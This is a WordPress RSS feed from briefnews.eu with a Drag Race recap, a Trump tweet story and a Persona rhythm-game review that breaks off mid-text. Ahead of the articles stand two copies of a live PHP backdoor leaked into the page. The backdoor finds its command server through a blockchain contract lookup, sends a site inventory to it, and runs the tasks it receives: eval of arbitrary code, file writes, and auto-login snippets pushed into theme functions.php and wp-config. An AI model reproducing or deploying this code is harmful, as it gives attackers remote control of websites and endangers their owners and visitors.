// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Persona – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 19 Apr 2019 03:29:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Persona – Brief News https://briefnews.eu 32 32 Drag Race Recap: Whose Snatch Game Persona Made the Judges Seasick? https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/ https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/#respond Fri, 19 Apr 2019 03:29:02 +0000 http://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/

The Snatch Game hit the high seas on Thursday’s episode of RuPaul’s Drag Race, which ended with the season’s fiercest lip sync battle yet — and a dramatic ruling from Mama Ru. But first…

Inspired by the release of RuPaul’s new book GuRu — available online or wherever fine literature is sold — this week’s mini challenge required the remaining eight queens to pitch their own books to Mama Ru, complete with a cover shoot. The winning book ended up being Silky Nutmeg Ganache’s Eat It: Chronicles of the Buffet, foreshadowing a very successful evening for Yvie Oddly’s apparent nemesis.

Speaking of that growing feud, Yvie apologized for calling Silky “talentless” during last week’s Untucked, but it was too little too late. “We ain’t got to be friends,” Silky replied. “Moving forward, I’m just doing me.” (Honestly, I don’t know how I’m supposed to feel about this. I thought Yvie’s apology was genuine, but I also understand that “talentless” is a pretty hard thing to come back from.)

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But let’s ditch the drama for now and focus on the comedy — or lack thereof, in some cases — with a breakdown of each queen’s performance in the Snatch Game… at Sea!

SILKY NUTMEG GANACHE | Full disclosure: I had no idea who Ts Madison was before tonight, so I only have Silky’s description to go on, but I was thoroughly entertained by her Snatch Game performance. I was a little annoyed when it seemed like her whole schtick was going to involve picking on other players, but in the end, she turned it out. I wasn’t wowed by her runway look, which was basically a sparklier version of the same silhouette she’s been giving us all season, but it certainly didn’t suck.

YVIE ODDLY | I know Yvie sort of warned us ahead of time by saying that she “doesn’t do impersonations very well,” but I still wasn’t prepared for the utter nonsense that was her Whoopi Goldberg impression. It was all wrong, but the fact that Yvie didn’t even know Whoopi is on The View was perhaps the most egregious part. And while I didn’t hate Yvie’s androgynous 1960s Barbie look on the runway, it wasn’t enough to keep her off the chopping block.

BROOKE LYNN HYTES | I’m not just surprised by Brooke Lynn’s awful Celine Dion impression — I’m legitimately baffled. Like, I know she said she was “not feeling super confident” about her choice, but this was next-level bad. And from Drag Race‘s first-ever Canadian queen, no less! She will absolutely be hearing from Justin Trudeau about this, let me tell you. In fact, I think Silky put it best when she said, “It’s not even Celine Dion. It’s Celine, YA DONE!” That said, Brooke Lynn redeemed herself (somewhat) with that incredible “Nomi Malone 2019” runway look, complete with what Tony Hale correctly declared one of the most iconic runway Ru-veals of all time.

NINA WEST | Even though she didn’t technically win either of the challenges, I feel like this was a real showcase episode for Nina, who slayed as both Harvey Fierstein and Jo Anne Worley in the Snatch Game. Her runway look, “a red, white and blue patriotic extravangza” was also very fun, very campy and very Nina. This is an underrated queen, my friends.

VANESSA VANJIE MATEO | Real talk: I would have reserved one of this week’s bottom spots for everyone’s favorite comeback queen, who became the source of a heated debate between Ross Mathews and Michelle Visage. When Visage pointed out that Vanjie failed to embody her character — Danielle “Cash Me Outside” Bregoli — in any way, Mathews argued that it didn’t matter. He said it’s just fun to watch Vanjie be Vanjie, likening her to Julia Roberts. (…What?!) I also agreed with Visage’s critique of Vanjie’s runway getup, yet another minor variation of the same look she’s been serving all season.

PLASTIQUE TIARA | Even with basically zero knowledge of Love and Hip-Hop: Atlanta star/nail artist Lovely Mimi, I enjoyed Plastique’s contribution to the Snatch Game. I also thought she looked good walking down the runway in that blue, bubbly catsuit. Nothing was particularly outstanding about her work this week, but it was sufficient.

SHUGA CAIN | For some reason, the word “professional” comes to mind when thinking about Shuga’s performance this week. Her Charo impression, both in looks and behavior, was spot on, and she stunned on the runway in that enormous purple flamenco-style dress. If she’d taken things up just a few more notches, she might have had a shot at winning this week.

A’KERIA C. DAVENPORT | Tiffany Haddish may not have been heard tonight, but A’Keria definitely embodied the star of Girls Trip during the Snatch Game, hitting all the basic beats you were probably hoping for — from the Groupon Ru-pon joke to the grapefruit reference. She also made a fun impression on the runway, swinging that tail around like nobody’s business.

After handing Silky her second win of the week, Ru announced that Brooke Lynn and Yvie would be lip syncing for their lives. Little did we know we were about to experience an insane battle — set to the tune of Demi Lovato’s “Sorry Not Sorry” — that featured more athleticism than the damn Draglympics. What began as a simple sexy (Brooke Lynn) vs. funny (Yvie) situation quickly evolved into a dizzying deluge of flips and splits and wig reveals. I was convinced that Ru wasn’t going to send either queen home. I mean, how could anyone choose between them?!

In the end… she couldn’t. “Shantay, you both stay,” Ru told them, an announcement met with much applause. (Well, from everyone but Silky.)

Your thoughts on this week’s episode? Drop ’em in a comment below.

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]]> https://briefnews.eu/drag-race-recap-whose-snatch-game-persona-made-the-judges-seasick/feed/ 0 Trump blindsides Twitter with his 'singing farmer' persona throwback (VIDEO) https://briefnews.eu/trump-blindsides-twitter-with-his-singing-farmer-persona-throwback-video/ https://briefnews.eu/trump-blindsides-twitter-with-his-singing-farmer-persona-throwback-video/#respond Fri, 21 Dec 2018 02:13:35 +0000 http://briefnews.eu/trump-blindsides-twitter-with-his-singing-farmer-persona-throwback-video/

US President Donald Trump tweeted a clip of himself and an actress dressed as farmers singing the Green Acres theme to celebrate the 2019 farm bill, catching the media off-guard amid tension over the coming government shutdown.

The clip, tagged #TBT for “throwback Thursday,” dates from the 2005 Emmy Awards, when Hollywood had a rather more sanguine view of Trump, then at the height of his reality-TV stardom with “The Apprentice.”  His partner on stage is actress Megan Mullally of Will & Grace.

The $ 867 billion farm bill – the Agriculture Improvement Act, officially – passed the Senate last week after lengthy negotiations over work requirements for food stamps, restrictions which did not make it into the final bill. While Rep. Collin Peterson (D-MN) described the bill Trump signed as “mostly status quo,” it did take the unusual step of legalizing industrial hemp as a crop.

Mullally was mortified upon seeing herself arm in arm with Hollywood’s #1 bogeyman, first responding with an “omg” and then a full statement:

Some of the president’s Twitter followers thought they were looking at a joke account…

Others accused him of trying to distract from his endless legal tribulations.

Others had their own “Throwbacks” at the ready:

Who knew when he sang “Keep Manhattan, just give me that countryside!” he meant Washington, DC?

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]]> https://briefnews.eu/trump-blindsides-twitter-with-his-singing-farmer-persona-throwback-video/feed/ 0 Persona 5 and Persona 3 Dancing review: Rhythm action heaven that's simply a joy to play https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/ https://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/#respond Sat, 08 Dec 2018 19:49:48 +0000 http://briefnews.eu/persona-5-and-persona-3-dancing-review-rhythm-action-heaven-thats-simply-a-joy-to-play/

Persona Dancing

Persona 5 and 3 Dancing review – Rhythm action heaven that’s simply a joy to play (Image: ATLUS)

Persona 5 is one of the best JRPGs of this generation while the third and fourth games are treated with a hushed reverence amongst fans.

The effortlessly cool and stylish titles from Atlus require dozens of hours to complete – and during that time suck you completely into its world.

But once you put down that controller and say goodbye to characters you’ve grown to known and love there are many ways to stay invested.

From manga comics, to animated series, movies and spin-off games – there are plenty of ways to stick around in a world that’s come to feel like home.

The latest offshoot for the Persona series continues the whacky tradition of going somewhere unexpected.

You like turned-based, role playing games? Cool. How about beat em-ups? Or rhythm action games?

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Atlus are experts at turning the parameters of what fans expect from a Persona game on its head while keeping it feel familiar and fresh.

Persona 5 Dancing in Starlight and Persona 3 Dancing in Moonlight are, as the names suggest, rhythm action games.

They follow in the footsteps of Persona 4 Dancing All Night, the first Persona music game released on the beloved PS Vita handheld back in 2015.

That title has a cult following and provided the blueprint for the P3 and P5 Dancing games on the PS4 and PS Vita.

Persona Dancing

Persona Dancing 5 and 3 review – New Persona Dancing games are a must for music game fans (Image: ATLUS)

Characters from their respective entry in the Persona series dance along to remixed and original tracks in stages based on areas from that RPG.

This is helped immensely by the fact that soundtracks for Persona games absolutely kick ass.

Who wouldn’t want to dance to the acid jazz tunes of Persona 5 or the hip hop beats of P3?

Like with other rhythm action games, players have to tap buttons in time to the music while a Persona character dances in the background.

Persona Dancing

Persona Dancing 5 and 3 review – The Persona games have awesome soundtracks (Image: ATLUS)

And what Atlus should undoubtedly be commended for is how they make use of the PS4 and PS Vita’s controls.

Rhythm action games invariably work best when used in tandem with a bespoke controller specific to that title.

The awesome Taiko no Tatsujin’s drums, Beatmania’s DJ set, Samba de Amigo’s maracas – the list goes on.

But with the Persona Dancing games the control system is simply based around the typical PlayStation button layout.

Persona Dancing

Persona Dancing 5 and 3 review – The Persona Dancing games have a great control system (Image: ATLUS)

The bulk of the buttons you’ll need to press are all on the far left and far right of the PS4 joypad and the PS Vita.

So, up, left and down on the D-Pad as well as triangle, circle and X.

This is mirrored on screen, with icons showing these inputs appearing in corresponding positions on the left and right hand side of the display.

Notes move from the centre of the screen, prompting you to press buttons in time to the beat of the music.

